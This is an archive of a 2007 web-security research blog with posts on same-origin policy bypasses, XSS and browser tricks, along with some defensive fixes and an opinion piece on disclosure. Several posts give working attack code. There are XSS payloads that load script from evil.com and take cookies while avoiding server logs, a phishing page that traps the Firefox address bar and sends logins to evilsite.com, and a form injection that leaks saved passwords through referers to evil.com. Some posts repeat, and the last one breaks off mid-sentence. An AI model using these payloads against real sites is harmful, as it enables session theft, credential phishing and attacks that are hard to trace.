This is a short post, but I thought this warranted its own post, so that the message is not lost.
One of the repercussions of this post: http://kuza55.blogspot.com/2007/04/breaking-same-origin-policy-in-upwards.html is that any site which references the document.location property (e.g. any site running Google Analytics javascript) can be referenced by any subdomain.
And top level domains do not have to have any relation to their subdomain, so a DNS setup where these resolutions occur:
attack.target.evil.com -> web server controlled by evil.com
target.evil.com -> victim web server running Google Analytics (or other document.location referencing code)
Is possible. Now, since attack.target.evil.com can communicate with target.evil.com [1] as par my last post it can easily just insert a java applet (or with Firefox, javascript which uses the Java libraries) into target.evil.com, which will be able to create sockets to the web server's IP.
Another way the DNS->IP resolution scheme of subdomains not needing to be related can be abused is by making target.evil.com resolve to the IP of a service like myspace, which has a "domain generalisation" scheme, which will set the document.domain property to the second level domain, and so will resolve to evil.com, and evil.com can then create sockets to myspace.com.
And while, at the present this is a fairly pointless attack since we can still use Anti-DNS Pinning attacks, those problems may be solved before this.
[1] Note that all these attacks will only work if the hosts accept wildcard hostnames, and so the google analytics code is returned even if the hostname is incorrect.
Saturday, April 28, 2007
Friday, April 27, 2007
Breaking the same origin policy in an upwards direction (IE & Firefox Only)
To explain why this is meaningful, I'll first give a quick primer on the document.domain property:
The document.domain is by default set to the hostname which is used to access a site.
The document.domain property is not read-only. It can be truncated by however many levels you like, so a site on sub2.sub1.domain.tld could set the document.domain property to sub1.domain.tld or domain.tld or just tld[1]
To determine whether javascript is able to interact with another window the property is compared, if the property is identical then the two windows can communicate.
Finaly, there is an additional check whereby if the document.domain property has not been modified then a page where the property has been modified cannot communicate with it.
Firefox and IE do have this check, but it seems a bit more relaxed. If the upper level domain reads the document.location property this check is seemingly ignored.
Now, one might be tempted to shrug this off, but many tracking scripts, and Google Analytics tracking code references the document.location property, and so any site which runs the Google Analytics code is vulnerable to having lower level domains communicate with the unwittingly.
[1] The Firefox 3 nightly build does not allow anyone to set the property to tld, as per two patches from trev/Wladimir Palant: http://sla.ckers.org/forum/read.php?13,10863
The document.domain is by default set to the hostname which is used to access a site.
The document.domain property is not read-only. It can be truncated by however many levels you like, so a site on sub2.sub1.domain.tld could set the document.domain property to sub1.domain.tld or domain.tld or just tld[1]
To determine whether javascript is able to interact with another window the property is compared, if the property is identical then the two windows can communicate.
Finaly, there is an additional check whereby if the document.domain property has not been modified then a page where the property has been modified cannot communicate with it.
Firefox and IE do have this check, but it seems a bit more relaxed. If the upper level domain reads the document.location property this check is seemingly ignored.
Now, one might be tempted to shrug this off, but many tracking scripts, and Google Analytics tracking code references the document.location property, and so any site which runs the Google Analytics code is vulnerable to having lower level domains communicate with the unwittingly.
[1] The Firefox 3 nightly build does not allow anyone to set the property to tld, as per two patches from trev/Wladimir Palant: http://sla.ckers.org/forum/read.php?13,10863
Labels:
Javascript,
Security (All),
Web App Sec,
XSS
This isn't the post your looking for either
A few days ago prdelka post a blog post entitled "This isnt the post your looking for", you should read it, preferably before reading ny more of this post. He also deleted all his other blog postings, and removed all the papers and exploits, etc, which he had written from his server.
For a while security people have been saying that such legislation would be a bad idea because they, as well as anyone possibly malicious, could be prosecuted, but the law understands mitigating factors, and I doubt such a thing would happen.
What I am more interested in, is how many of the hobbyists which do a considerable part of the research into computer security will be affected. Will they, like prdelka, decide to take the cautious route, and remove all their writings, etc, from public view. Will they be driven more or less underground, where information is only shared among close friends, until it spreads to the hands of criminals, without surfacing to help IT security people. Or will they decide to ignore the laws will continue - only time will tell obviously, but does everyone think?
And if you're in Britain, how will this affect you?
For a while security people have been saying that such legislation would be a bad idea because they, as well as anyone possibly malicious, could be prosecuted, but the law understands mitigating factors, and I doubt such a thing would happen.
What I am more interested in, is how many of the hobbyists which do a considerable part of the research into computer security will be affected. Will they, like prdelka, decide to take the cautious route, and remove all their writings, etc, from public view. Will they be driven more or less underground, where information is only shared among close friends, until it spreads to the hands of criminals, without surfacing to help IT security people. Or will they decide to ignore the laws will continue - only time will tell obviously, but does everyone think?
And if you're in Britain, how will this affect you?
Sunday, April 01, 2007
Untraceable XSS Attacks Version 2
I was thinking about the Adobe PDF UXSS issue that we encountered a few months ago, and remembered how much of a problem we had solving it because servers were not sent the URL fragments (the part after the #).
Now this got me thinking; the client can still read the portion of the URL after the # symbol.
So why not put the location of our logic after the URL fragment like so:
And then you just shove that in a iframe, or popup or whatever other technique you are using to make sure users don't notice they're being attacked, and you're done.
Looking at the actual exploit, you can see that what we end up doing is using a Reflected XSS hole to create a DOM Based XSS hole which is specifically untraceable.
And it seems like a much cleaner method than the last two posts to me.
Now this got me thinking; the client can still read the portion of the URL after the # symbol.
So why not put the location of our logic after the URL fragment like so:
<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=<script>var source_loc = substr (document.location.lastIndexOf("#") + 1); var s = document.createElement ('script'); s.src=source_loc; document.body.appendChild(s);</script>#http://www.evil.com/s.js">
</head>
</html>And then you just shove that in a iframe, or popup or whatever other technique you are using to make sure users don't notice they're being attacked, and you're done.
Looking at the actual exploit, you can see that what we end up doing is using a Reflected XSS hole to create a DOM Based XSS hole which is specifically untraceable.
And it seems like a much cleaner method than the last two posts to me.
Labels:
Javascript,
Security (All),
Web App Sec,
XSS
Friday, March 30, 2007
(Non-Persistent) Untraceable XSS Attacks (IE & Opera version)
[EDIT]: Due to something I misunderstood ages ago this post is completely useless, so please see: http://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks.html Which has been re-written.
Sadly I have an appalling habit of assuming that the way Firefox does things is the way other browsers do things when it comes to Javascript, and I am constantly missing things because of it.
Anyway; what I only just remembered is that IE and opera treat target.com and target.com. as separate domains, and even if we can interact with target.com. this is almost completely useless to us.
But the goal here is not to allow our domain to talk to another domain. Our goal here is to not have to send our attack logic to the vulnerable web app, where it will be logged by the server.
We can use the same basic concept as in the last post, but instead of having go.php redirect to something which calls our logic from the parent, we will need it to look more like this: (Copy and paste it into notepad because it goes off the side of the page)
And then our attack page would have to look something more like this:
I have not tested this, but it should be possible to simply extract the cookie from the domain as demonstrated above, then set the same cookie for target.com. but you will run into issues if there are authentication cookies for a subdomain, which you cannot extract, but for most scenarios this should still be workable.
Sadly I have an appalling habit of assuming that the way Firefox does things is the way other browsers do things when it comes to Javascript, and I am constantly missing things because of it.
Anyway; what I only just remembered is that IE and opera treat target.com and target.com. as separate domains, and even if we can interact with target.com. this is almost completely useless to us.
But the goal here is not to allow our domain to talk to another domain. Our goal here is to not have to send our attack logic to the vulnerable web app, where it will be logged by the server.
We can use the same basic concept as in the last post, but instead of having go.php redirect to something which calls our logic from the parent, we will need it to look more like this: (Copy and paste it into notepad because it goes off the side of the page)
<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=<script>document.location = 'http://www.target.com./page.php?vuln=%3Cscript%3Edocument.domain%3D%27com.%27%3Bwindow.parent.logic%28%29%3B%3C/script%3E&cookie='+escape(document.cookie);</script>">
</head>
</html>And then our attack page would have to look something more like this:
<html>
<body>
<script>
document.domain = 'com.';
function logic () {
var loc = window.frames[0].document.location;
var cookie = substr (loc.lastIndexOf("=") + 1);
alert(cookie);
}
</script>
<iframe src="go.php" />
</body>
</html>I have not tested this, but it should be possible to simply extract the cookie from the domain as demonstrated above, then set the same cookie for target.com. but you will run into issues if there are authentication cookies for a subdomain, which you cannot extract, but for most scenarios this should still be workable.
Labels:
Javascript,
Security (All),
Web App Sec,
XSS
(Non-Persistent) Untraceable XSS Attacks
[EDIT]: Sorry for taking so long to do this, but I've been really busy lately. Anyway, when doing my initial testing with document.domain stuff Firefox threw some errors when I tried to set the domain to just 'com' - I'm not sure why since this is allowed, and as such this post was needlessly confusing (since I thought you could only set it to 'com.'), and so I've rewritten it (keeping most of it intact), the old copy is still at the end, but its not really worth reading since its pretty much the same thing.
When most XSS attacks are conducted they simply inject all the attack logic right into the domain they are attacking, this of course gives out information such as servers where cookies are getting logged, or any other attack logic, because it has been sent to the server, and since it is generally sent via GET, which is see in all server logs. The only exception to this is when the attack logic is hosted on another site, and a script tag is injected. The problem with this is that it still reveals where the server with the attack logic was located, and if the admin reacts relatively quickly, then the attack logic can be captured from that server.
Sometimes this is unavoidable, as in the case of persistent XSS attacks, because they rely on having the attack logic located on the site so that users will be attacked with it, without having to go to another site.
But persistent XSS attacks are not the only ones we see, and as such I would like to propose a method that has been used for conducting attacks before, but hasn't (to my knowledge) been used to mask a trail.
It turns out you can set the document.domain property to just 'com' if you have a .com domain.
Now, we can use this idea to remove all our attack logic from the site we are attacking with our reflected XSS attacks, and then extract data at will.
The easiest way to implement something like this would be to have two pages on your own .com domain. One to actually interface with the site, and one to use a meta redirect to the reflected XSS hole, and therefore strip the referer header.
And so, by doing this the site which you are abusing should have no clue as to where the attack originated from, except that it came from a .com domain.
The actual html/javascript implementation can be done in several ways, but the easiest is something similar to this:
attack.php :
go.php :
In this we have the attack page with the logic on it, which sets the document.domain property when it is loaded, when the iframe gets redirected to the vulnerable page on the target, the target receives no idea what server redirected it there, it then sets the domain to .com and calls the logic() function from the parent window, which can then extract cookie data from the attacked domain.
Of course, if you run the same attack for long enough, or have a worm, then a client-side tracker could be implemented because, just as you can extract data from the target domain, they can extract data from your domain. Even given this limitations though it is a step that is unlikely to be taken by any admin, but should still be considered.
Furthermore this should not be put on any site which hosts an actual site because if another attacker found such an attack page on a live server since you have set up a system where any .com domain can break the cross domain boundary.
When most XSS attacks are conducted they simply inject all the attack logic right into the domain they are attacking, this of course gives out information such as servers where cookies are getting logged, or any other attack logic, because it has been sent to the server, and since it is generally sent via GET, which is see in all server logs. The only exception to this is when the attack logic is hosted on another site, and a script tag is injected. The problem with this is that it still reveals where the server with the attack logic was located, and if the admin reacts relatively quickly, then the attack logic can be captured from that server.
Sometimes this is unavoidable, as in the case of persistent XSS attacks, because they rely on having the attack logic located on the site so that users will be attacked with it, without having to go to another site.
But persistent XSS attacks are not the only ones we see, and as such I would like to propose a method that has been used for conducting attacks before, but hasn't (to my knowledge) been used to mask a trail.
As trev found out, it is possible for a site in the .com TLD to set their document.domain value to '.com.', and this allows it to share details with any site which also sets its document.domain value to '.com.'.
Now, we can use this idea to remove all our attack logic from the site we are attacking with our reflected XSS attacks, and then extract data at will.
The easiest way to implement something like this would be to have two pages on your own .com domain. One to actually interface with the site, and one to use a meta redirect to the reflected XSS hole, and therefore strip the referer header.
And so, by doing this the site which you are abusing should have no clue as to where the attack originated from, except that it came from a .com domain.
The actual html/javascript implementation can be done in several ways, but the easiest is something similar to this:
attack.php :
go.php :
In this we have the attack page with the logic on it, which sets the document.domain property when it is loaded, when the iframe gets redirected to the vulnerable page on the target, the target receives no idea what server redirected it there, it then sets the domain to .com. and calls the logic() function from the parent window, which can then extract cookie data from the attacked domain.
Of course, if you run the same attack for long enough, or have a worm, then a client-side tracker could be implemented because, just as you can extract data from the target domain, they can extract data from your domain. Even given this limitations though it is a step that is unlikely to be taken by any admin, but should still be considered.
Furthermore this should not be put on any site which hosts an actual site because if another attacker found such an attack page on a live server, then they could easily conduct attacks similar to the one against MySpace described in trev's post.
[EDIT]: Sorry guys; false alarm. This doesn't fully work against IE and Opera because they treat target.com and target.com. as separate domains,and so store cookies separately. I have figured out a way to overcome this, which I've posted here: http://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks_30.html so that anyone who has already seen this post will hopefully notice the second one.
When most XSS attacks are conducted they simply inject all the attack logic right into the domain they are attacking, this of course gives out information such as servers where cookies are getting logged, or any other attack logic, because it has been sent to the server, and since it is generally sent via GET, which is see in all server logs. The only exception to this is when the attack logic is hosted on another site, and a script tag is injected. The problem with this is that it still reveals where the server with the attack logic was located, and if the admin reacts relatively quickly, then the attack logic can be captured from that server.
Sometimes this is unavoidable, as in the case of persistent XSS attacks, because they rely on having the attack logic located on the site so that users will be attacked with it, without having to go to another site.
But persistent XSS attacks are not the only ones we see, and as such I would like to propose a method that has been used for conducting attacks before, but hasn't (to my knowledge) been used to mask a trail.
It turns out you can set the document.domain property to just 'com' if you have a .com domain.
Now, we can use this idea to remove all our attack logic from the site we are attacking with our reflected XSS attacks, and then extract data at will.
The easiest way to implement something like this would be to have two pages on your own .com domain. One to actually interface with the site, and one to use a meta redirect to the reflected XSS hole, and therefore strip the referer header.
And so, by doing this the site which you are abusing should have no clue as to where the attack originated from, except that it came from a .com domain.
The actual html/javascript implementation can be done in several ways, but the easiest is something similar to this:
attack.php :
<html>
<body>
<script>
document.domain = 'com';
function logic () {
alert(window.frames[0].document.cookie);
}
</script>
<iframe src="go.php" />
</body>
</html>go.php :
<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=<script>document.domain='com';window.parent.logic();</script>">
</head>
</html>In this we have the attack page with the logic on it, which sets the document.domain property when it is loaded, when the iframe gets redirected to the vulnerable page on the target, the target receives no idea what server redirected it there, it then sets the domain to .com and calls the logic() function from the parent window, which can then extract cookie data from the attacked domain.
Of course, if you run the same attack for long enough, or have a worm, then a client-side tracker could be implemented because, just as you can extract data from the target domain, they can extract data from your domain. Even given this limitations though it is a step that is unlikely to be taken by any admin, but should still be considered.
Furthermore this should not be put on any site which hosts an actual site because if another attacker found such an attack page on a live server since you have set up a system where any .com domain can break the cross domain boundary.
Old Post:
When most XSS attacks are conducted they simply inject all the attack logic right into the domain they are attacking, this of course gives out information such as servers where cookies are getting logged, or any other attack logic, because it has been sent to the server, and since it is generally sent via GET, which is see in all server logs. The only exception to this is when the attack logic is hosted on another site, and a script tag is injected. The problem with this is that it still reveals where the server with the attack logic was located, and if the admin reacts relatively quickly, then the attack logic can be captured from that server.
Sometimes this is unavoidable, as in the case of persistent XSS attacks, because they rely on having the attack logic located on the site so that users will be attacked with it, without having to go to another site.
But persistent XSS attacks are not the only ones we see, and as such I would like to propose a method that has been used for conducting attacks before, but hasn't (to my knowledge) been used to mask a trail.
As trev found out, it is possible for a site in the .com TLD to set their document.domain value to '.com.', and this allows it to share details with any site which also sets its document.domain value to '.com.'.
Now, we can use this idea to remove all our attack logic from the site we are attacking with our reflected XSS attacks, and then extract data at will.
The easiest way to implement something like this would be to have two pages on your own .com domain. One to actually interface with the site, and one to use a meta redirect to the reflected XSS hole, and therefore strip the referer header.
And so, by doing this the site which you are abusing should have no clue as to where the attack originated from, except that it came from a .com domain.
The actual html/javascript implementation can be done in several ways, but the easiest is something similar to this:
attack.php :
<html>
<body>
<script>
document.domain = 'com.';
function logic () {
alert(window.frames[0].document.cookie);
}
</script>
<iframe src="go.php" />
</body>
</html>go.php :
<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com./page.php?vuln=<script>document.domain='com.';window.parent.logic();</script>">
</head>
</html>In this we have the attack page with the logic on it, which sets the document.domain property when it is loaded, when the iframe gets redirected to the vulnerable page on the target, the target receives no idea what server redirected it there, it then sets the domain to .com. and calls the logic() function from the parent window, which can then extract cookie data from the attacked domain.
Of course, if you run the same attack for long enough, or have a worm, then a client-side tracker could be implemented because, just as you can extract data from the target domain, they can extract data from your domain. Even given this limitations though it is a step that is unlikely to be taken by any admin, but should still be considered.
Furthermore this should not be put on any site which hosts an actual site because if another attacker found such an attack page on a live server, then they could easily conduct attacks similar to the one against MySpace described in trev's post.
[EDIT]: Sorry guys; false alarm. This doesn't fully work against IE and Opera because they treat target.com and target.com. as separate domains,and so store cookies separately. I have figured out a way to overcome this, which I've posted here: http://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks_30.html so that anyone who has already seen this post will hopefully notice the second one.
Labels:
Javascript,
Security (All),
Web App Sec,
XSS
Monday, March 26, 2007
Partially stopping sites breaking out of frames in Mozilla
I've been looking for ways to stop sites breaking out of frames for a long time now, and haven't been able to find anything.
And I still haven't been able to get anything working the way I'd like it to, but since I don't have much time these days I thought I'd throw this out there to see if anyone could figure something out. What I'm trying here is to be able to execute XSS attacks within iframes against sites which break out of iframes at the top of each page, but sadly I'm having almost no real success.
Using the idea that I used to implement this; http://kuza55.blogspot.com/2007/03/trapping-mozilla-for-phishing.html, it is possible to stop site breaking out of frames.
Using the following code:
But while it is possible to stop http://hackthissite.org from breaking out of an iframe, the moment we call the stop(); function, the iframe also stops loading. So any XSS attacks after the frame breaking code will not be executed.
So as you can see I haven't been able to figure anything out which will stop the top window being changed, but not stop the iframe being loaded. Hopefully someone else will have more luck.
And I still haven't been able to get anything working the way I'd like it to, but since I don't have much time these days I thought I'd throw this out there to see if anyone could figure something out. What I'm trying here is to be able to execute XSS attacks within iframes against sites which break out of iframes at the top of each page, but sadly I'm having almost no real success.
Using the idea that I used to implement this; http://kuza55.blogspot.com/2007/03/trapping-mozilla-for-phishing.html, it is possible to stop site breaking out of frames.
Using the following code:
<html>
<body>
<script>
function test(e) {
window.setTimeout ("stop();", 1);
}
window.onbeforeunload = test;
</script>
<iframe src="http://hackthissite.org/" />
</body>
</html>But while it is possible to stop http://hackthissite.org from breaking out of an iframe, the moment we call the stop(); function, the iframe also stops loading. So any XSS attacks after the frame breaking code will not be executed.
So as you can see I haven't been able to figure anything out which will stop the top window being changed, but not stop the iframe being loaded. Hopefully someone else will have more luck.
Labels:
Firefox,
Javascript,
Security (All),
Web App Sec,
XSS
Tuesday, March 20, 2007
Trapping Mozilla For Phishing
I was looking at the onbeforeunload event handler today in the hopes of finding a way to attack/implement Martin Johns' paper SessionSafe: Implementing XSS Immune Session Handling (there's also some discussion about the paper here: http://sla.ckers.org/forum/read.php?13,7607), and while I didn't find anything useful there, I did find a way to entrap, and therefore conduct phishing attacks against more aware Mozilla users.
Before delving into an explanation, here's the code which I'll explain:
Anyway; when using the onbeforeunload event handler it is still possible to access the window object, and therefore still possible to set time-outs.
In our time-outs, we can call the stop() function. When the stop(); function is called the location bar is not reset, and therefore will display the URL the user entered.
The next thing we would like to do would be to add some data to the page which makes it look like a phishing site. Sadly (or Luckily depending on your view point), when you call the document.write() function, the location bar is reset, and therefore we must use the DOM to make the existing page disappear, and add our new page.
Simple Enough.
One thing you should note though, is that there is a bug in Firefox where, if you enter, say, google, then press Ctrl+Enter, then go to another tab, and then return, the address bar will read "google" rather than "http://www.google.com/", but its not a very likely scenario, so should not be much cause for concern. And furthermore it is (to my knowledge) impossible to find out where the user is going, so I do not think there are many uses other than a phishing page like the example provided.
You also cannot force the user to programmatically go to a page, and stop that and have the URL changed. the URL is changed programmatically only when the browser successfully loads the page.
Oh, and AFAIK a slightly similar (in terms of effect, not implementation) vuln in IE is still unpatched: http://lcamtuf.coredump.cx/ietrap/
P.S. This was tested on Firefox 2.0.0.2
Before delving into an explanation, here's the code which I'll explain:
<html>
<body>
<script>
function test(e) {
window.setTimeout ("stop();", 1);
window.setTimeout ("var test = document.getElementById ('test'); test.style.display = 'block';var test2 = document.getElementById ('test2'); test2.style.display = 'none';", 1);
}
window.onbeforeunload = test;
</script>
<div id="test2">Please go to bankofamerica.com</div>
<div style="display:none;" id="test">Please Enter your Login Details here:
<form action="http://evilsite.com/">
Username: <input name="username">
Password: <input type="password" name="password">
</form></div>
</body>
</html>Anyway; when using the onbeforeunload event handler it is still possible to access the window object, and therefore still possible to set time-outs.
In our time-outs, we can call the stop() function. When the stop(); function is called the location bar is not reset, and therefore will display the URL the user entered.
The next thing we would like to do would be to add some data to the page which makes it look like a phishing site. Sadly (or Luckily depending on your view point), when you call the document.write() function, the location bar is reset, and therefore we must use the DOM to make the existing page disappear, and add our new page.
Simple Enough.
One thing you should note though, is that there is a bug in Firefox where, if you enter, say, google, then press Ctrl+Enter, then go to another tab, and then return, the address bar will read "google" rather than "http://www.google.com/", but its not a very likely scenario, so should not be much cause for concern. And furthermore it is (to my knowledge) impossible to find out where the user is going, so I do not think there are many uses other than a phishing page like the example provided.
You also cannot force the user to programmatically go to a page, and stop that and have the URL changed. the URL is changed programmatically only when the browser successfully loads the page.
Oh, and AFAIK a slightly similar (in terms of effect, not implementation) vuln in IE is still unpatched: http://lcamtuf.coredump.cx/ietrap/
P.S. This was tested on Firefox 2.0.0.2
Monday, February 26, 2007
stopgetpass.user.js - an interim solution
A couple of days ago I posted a method of breaking the RSCR Fix Mozilla implemented in Firefox. Today, I want to post an interim fix for the issue in the form of a Greasemonkey script:
Essentially it just loops through all the forms on a page and sets the method on all forms with password fields to post. So while this will stop you from the attack I described, it will most likely break sites, so once a patch comes out of Mozilla (which I honestly hope it will, because otherwise all their efforts on the previous patch will be in vain), this will need to be removed.
Also, since this script is extracting method and type values from the DOM, it doesn't have to worry about case, obfuscation, etc, so it should not be vulnerable to any obfuscation of either the type or the method properties.
I'm sure you all know how to install Greasemonkey scripts,so I'm not going to bother explaining how to here, because for those who don't there's always Google.
P.S. 50th Post! Hurray, I've managed to actually stay interested in something for an extended period of time. I'm sure that some of the posts were completely disinteresting to people, but I hope that some of them weren't.
for (i=0,c=document.forms.length;i<c;i++) {
if (document.forms[i].method == 'get') {
var password = false;
for (l=0,k=document.forms[i].elements.length;l<k;l++) {
if (document.forms[i].elements[l].type == 'password') {
password = true;
}
}
if (password == true) {
document.forms[i].method = "post"
}
}
}Essentially it just loops through all the forms on a page and sets the method on all forms with password fields to post. So while this will stop you from the attack I described, it will most likely break sites, so once a patch comes out of Mozilla (which I honestly hope it will, because otherwise all their efforts on the previous patch will be in vain), this will need to be removed.
Also, since this script is extracting method and type values from the DOM, it doesn't have to worry about case, obfuscation, etc, so it should not be vulnerable to any obfuscation of either the type or the method properties.
I'm sure you all know how to install Greasemonkey scripts,so I'm not going to bother explaining how to here, because for those who don't there's always Google.
P.S. 50th Post! Hurray, I've managed to actually stay interested in something for an extended period of time. I'm sure that some of the posts were completely disinteresting to people, but I hope that some of them weren't.
Labels:
Firefox,
Javascript,
RCSR,
Security (All),
Web App Sec
More Authenticated Redirect Abuse
A while ago I wrote two posts entitled Detecting Logged In Users and More Logged In User Detection via Authenticated Redirects.
Today I want to expand a bit more on how Authenticated redirects can be abused.
I want to talk about how you can abuse authenticated redirects which only redirect to certain domains (i.e. not yours), and not get stopped by extensions such as SafeHistory and SafeCache.
If we can redirect to any resource on a server it is quite reasonable to assume that we can redirect to either an image or a piece of javascript.
First of all, lets say our redirection script that exists on http://target.com/redir.php looks like this: (Ignore the fact that if it was an old version of PHP it would be vulnerable to response splitting, and the fact that parse_url doesn't validate URLs);
Knowing that we can redirect to any resource on the server we can create something like the following:
We could also redirect to javascript objects and overwrite the functions it calls,so that we know when it executes, but that's a whole lot more work.
Also, one other thing I failed to mention in either of the two previous posts, is that the technique I described in them can be used in any situation where something is loaded into the history, which includes iframes, popups, etc - but they are of course much less common.
Today I want to expand a bit more on how Authenticated redirects can be abused.
I want to talk about how you can abuse authenticated redirects which only redirect to certain domains (i.e. not yours), and not get stopped by extensions such as SafeHistory and SafeCache.
If we can redirect to any resource on a server it is quite reasonable to assume that we can redirect to either an image or a piece of javascript.
First of all, lets say our redirection script that exists on http://target.com/redir.php looks like this: (Ignore the fact that if it was an old version of PHP it would be vulnerable to response splitting, and the fact that parse_url doesn't validate URLs);
<?php
session_start();
if ($_SESSION['logged_in'] == true) {
if ( is_string($_GET['r']) ) {
$url_array = parse_url ($_GET['r']);
if ($url_array['host'] == $_SERVER['SERVER_NAME']) {
header ("Location: " . $_GET['r']);
die();
}
}
}
header ("Location: http://" . $_SERVER['SERVER_NAME'] . "/index.php");
?>Knowing that we can redirect to any resource on the server we can create something like the following:
<html>
<body>
<img src="http://target.com/redir.php?r=http://target.com/images/logo.png" onload="alert('logged in');" onerror="alert('not logged in');" />
</body>
</html>We could also redirect to javascript objects and overwrite the functions it calls,so that we know when it executes, but that's a whole lot more work.
Also, one other thing I failed to mention in either of the two previous posts, is that the technique I described in them can be used in any situation where something is loaded into the history, which includes iframes, popups, etc - but they are of course much less common.
Labels:
Detection,
Security (All),
Web App Sec
Saturday, February 24, 2007
Fixing IE Content-Type Detection Issues: Output Filtering Instead Of Input Validation
[EDIT](25/02/07): It seems that this method doesn't completely work, so please read the comments to find more info, because otherwise this isn't going to do you any good.
There's been a bit of discussion over a sla.ckers.org about injecting Javascript into uploaded image files, and having IE detect the content type as text/html rather than the content-type sent by the server. For anyone who isn't familiar with the issue I recommend you read the following post: http://www.splitbrain.org/blog/2007-02/12-internet_explorer_facilitates_cross_site_scripting Not because its the first mention of it, but its the best and most technical description I've seen.
Anyway; to take a leaf out of Sylvan von Stuppe's book, I'd like to recommend a way to do (the equivalent of) output filtering, rather than input validation to stop this issue.
First of all, lets take a look at why we would ever do input validation to stop XSS attacks. The only reason we have ever had to do input validation is to stop people inputting Javascript, but allowing them to input html.
In all other situations where we don't need to allow certain html, we can simply encode all output in the appropriate char set, and we're safe.
And there is no reason we would ever need to allow users to upload images which get interpreted as html files, and therefore served as such.
So, having established (at least in my view), that output filtering is the way to go; how would we go about doing this without altering the image?
Well, in this case its easy enough; all we need to do is use a header that IE does respect; the Content-Disposition header. And possibly also a Content-Type header of application/octet-stream or we may not, depending on how paranoid we are, and how much we want to (possibly) break things.
There are several way to do this.
On Apache, the best solution is to use mod_headers to send the header for all files in a particular directory, and move all your uploads there.
Microsoft provides an explanation of how you can achieve the same on IIS here: http://support.microsoft.com/kb/q260519/
You can of course, also set PHP or any other server side language as the handler for all the files in a directory, and then use the header() (or similar) function to send the Content-Disposition header tot he browser.
Of course, this might be annoying if a user does something like right click on an image and click view image, but this is a minor inconvenience IMO.
There's been a bit of discussion over a sla.ckers.org about injecting Javascript into uploaded image files, and having IE detect the content type as text/html rather than the content-type sent by the server. For anyone who isn't familiar with the issue I recommend you read the following post: http://www.splitbrain.org/blog/2007-02/12-internet_explorer_facilitates_cross_site_scripting Not because its the first mention of it, but its the best and most technical description I've seen.
Anyway; to take a leaf out of Sylvan von Stuppe's book, I'd like to recommend a way to do (the equivalent of) output filtering, rather than input validation to stop this issue.
First of all, lets take a look at why we would ever do input validation to stop XSS attacks. The only reason we have ever had to do input validation is to stop people inputting Javascript, but allowing them to input html.
In all other situations where we don't need to allow certain html, we can simply encode all output in the appropriate char set, and we're safe.
And there is no reason we would ever need to allow users to upload images which get interpreted as html files, and therefore served as such.
So, having established (at least in my view), that output filtering is the way to go; how would we go about doing this without altering the image?
Well, in this case its easy enough; all we need to do is use a header that IE does respect; the Content-Disposition header. And possibly also a Content-Type header of application/octet-stream or we may not, depending on how paranoid we are, and how much we want to (possibly) break things.
There are several way to do this.
On Apache, the best solution is to use mod_headers to send the header for all files in a particular directory, and move all your uploads there.
Microsoft provides an explanation of how you can achieve the same on IIS here: http://support.microsoft.com/kb/q260519/
You can of course, also set PHP or any other server side language as the handler for all the files in a directory, and then use the header() (or similar) function to send the Content-Disposition header tot he browser.
Of course, this might be annoying if a user does something like right click on an image and click view image, but this is a minor inconvenience IMO.
Labels:
Security (All),
Web App Sec,
XSS
Breaking Firefox's RCSR Fix
In Firefox 2.0.0.2, the developers have done a lot of good in regards to helping prevent XSS and other attacks against the client; you can read the whole advisory here: http://www.mozilla.org/security/announce/2007/mfsa2007-02.html
And while their fix for the RCSR issue is good, its not perfect.
As everyone (including people commenting on mozilla's bug tracker) noticed, there is no real way to prevent this if an attacker can execute Javascript on the domain, because he can simply inject an iframe which has an src attribute set to the page which the user normally logs in on, and then simply change its contents to get the password.
Anyway; this fix attempts to solve the issue of an attacker being able to abuse the password manager if the attacker can inject html, but not Javascript. And so, that is the constraints within which we need to break the fix.
Lets assume we have a html injection issue in a page called http://site.com/vuln.php in the GET parameter search; i.e. http://site.com/vuln.php?search=<img src=http://evil.com/image.jpg> would inject an image into the page.
What we can then do is inject a form into the page which looks like this:
Then if we get the user to submit the form, then the referers sent to http://evil.com/log.php will have the username and password in them.
Of course, our form would have to have an input field which is an image which is transparent but covers the whole browser window, which would submit the form for us, or similar so that the form is submitted but that issue has already been solved, and I wanted to keep the example clean.
And while their fix for the RCSR issue is good, its not perfect.
As everyone (including people commenting on mozilla's bug tracker) noticed, there is no real way to prevent this if an attacker can execute Javascript on the domain, because he can simply inject an iframe which has an src attribute set to the page which the user normally logs in on, and then simply change its contents to get the password.
Anyway; this fix attempts to solve the issue of an attacker being able to abuse the password manager if the attacker can inject html, but not Javascript. And so, that is the constraints within which we need to break the fix.
Lets assume we have a html injection issue in a page called http://site.com/vuln.php in the GET parameter search; i.e. http://site.com/vuln.php?search=<img src=http://evil.com/image.jpg> would inject an image into the page.
What we can then do is inject a form into the page which looks like this:
<form action="http://site.com/vuln.php" method="get">
<input type="text" name="username" />
<input type="password" name="password" />
<input type="hidden" name="search" value="<img src='http://evil.com/log.php' />" />
<input type="submit" value="Login" />
</form>Then if we get the user to submit the form, then the referers sent to http://evil.com/log.php will have the username and password in them.
Of course, our form would have to have an input field which is an image which is transparent but covers the whole browser window, which would submit the form for us, or similar so that the form is submitted but that issue has already been solved, and I wanted to keep the example clean.
Labels:
Firefox,
RCSR,
Security (All),
Web App Sec
On Disclosure
Firstly, just so that you understand my bias, my view on this topic is as follows:
Anyway; Sid wrote a post on blogs.securiteam.com about how an ISP had backdoored its customers routers to make administration easier, entitled Accidental backdoor by ISP, which generated a bit of heat from some people, especially Cd-MaN.
He goes on about how Sid's post was unethical because didn't help anyone by mentioning which ISP it was, and saying which subnet they owned and what the passwords were, other than people who would want to attack the ISP.
Now, arguing on in cd-man's terms, there are people it helps. It helps anyone who wants to do some further investigation of the issue. It helps anyone who has an account with that ISP to secure themselves; I see no reason why it has to be disclosed in such a way that it would reach the majority of affected users, its not our responsibility to fix other people's mistakes; and never should be.
It also helps raise awareness of an issue which hasn't got much (if any) air time before. Because if you read any of the SpeedTouch manuals you will notice that they have a default remote administrator account, which most users never know about. Furthermore I'm willing to bet on the fact that most ISPs who use SpeedTouch routers will all have the same remote admin passwords.
And it really doesn't help anyone to say thing like (http://hype-free.blogspot.com/2007/02/full-disclosure-gone-bad.html)
